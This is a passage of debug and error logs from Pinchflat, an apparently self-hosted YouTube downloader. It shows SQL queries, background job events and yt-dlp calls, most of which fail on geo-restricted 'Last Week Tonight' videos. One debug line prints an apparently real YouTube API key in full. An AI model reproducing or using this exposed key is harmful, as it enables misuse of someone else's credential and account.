Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:57:59.997 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:57:59.997 [debug] QUERY OK source="settings" db=0.1ms idle=188.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:59.997 [debug] QUERY OK source="settings" db=0.0ms idle=119.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:59.997 [debug] Running yt-dlp command for action: get_media_attributes 17:57:59.998 [debug] QUERY OK source="settings" db=0.0ms idle=120.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:59.999 [debug] QUERY OK source="settings" db=0.0ms idle=120.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:59.999 [debug] QUERY OK source="settings" db=0.0ms idle=120.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:59.999 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/25/57/2557bd0dc68d5c866f539a60ffc154907cce4222f63e6eaa4dc0249666a986d6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:58:00.030 [info] {"source":"oban","duration":10160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.109 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:58:00.815 [info] {"args":{"id":1},"id":3800309,"meta":{},"system_time":1770767880815793929,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:58:00.816 [debug] QUERY OK source="sources" db=0.2ms idle=816.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:58:00.817 [debug] QUERY OK source="settings" db=1.0ms idle=785.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:00.817 [debug] QUERY OK source="media_profiles" db=0.1ms idle=707.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:58:00.817 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:00.817 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:58:00.817 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:00.817 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:58:00.949 [debug] QUERY OK source="media_items" db=0.7ms idle=132.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 17:58:00.959 [debug] QUERY OK source="media_items" db=9.5ms idle=133.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:58:00.978 [debug] QUERY OK source="tasks" db=0.9ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800347, 1, ~U[2026-02-10 23:58:00Z], ~U[2026-02-10 23:58:00Z]] 17:58:00.978 [info] {"args":{"id":1},"id":3800309,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":162773,"event":"job:stop","queue_time":518918,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:58:01.274 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/25/57/2557bd0dc68d5c866f539a60ffc154907cce4222f63e6eaa4dc0249666a986d6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:58:01.274 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:58:01.274 [debug] QUERY OK source="settings" db=0.1ms idle=296.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:01.274 [debug] QUERY OK source="settings" db=0.1ms idle=297.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:01.274 [debug] Running yt-dlp command for action: get_media_attributes 17:58:01.289 [debug] QUERY OK source="settings" db=0.1ms idle=310.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:01.289 [debug] QUERY OK source="settings" db=0.0ms idle=310.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:01.289 [debug] QUERY OK source="settings" db=0.0ms idle=304.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:01.289 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d4/d1/d4d15afa0bfc4dc4e77984ee0982176596b10a681edd757cb4314dac64b0768b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:58:02.512 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d4/d1/d4d15afa0bfc4dc4e77984ee0982176596b10a681edd757cb4314dac64b0768b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:58:02.512 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, 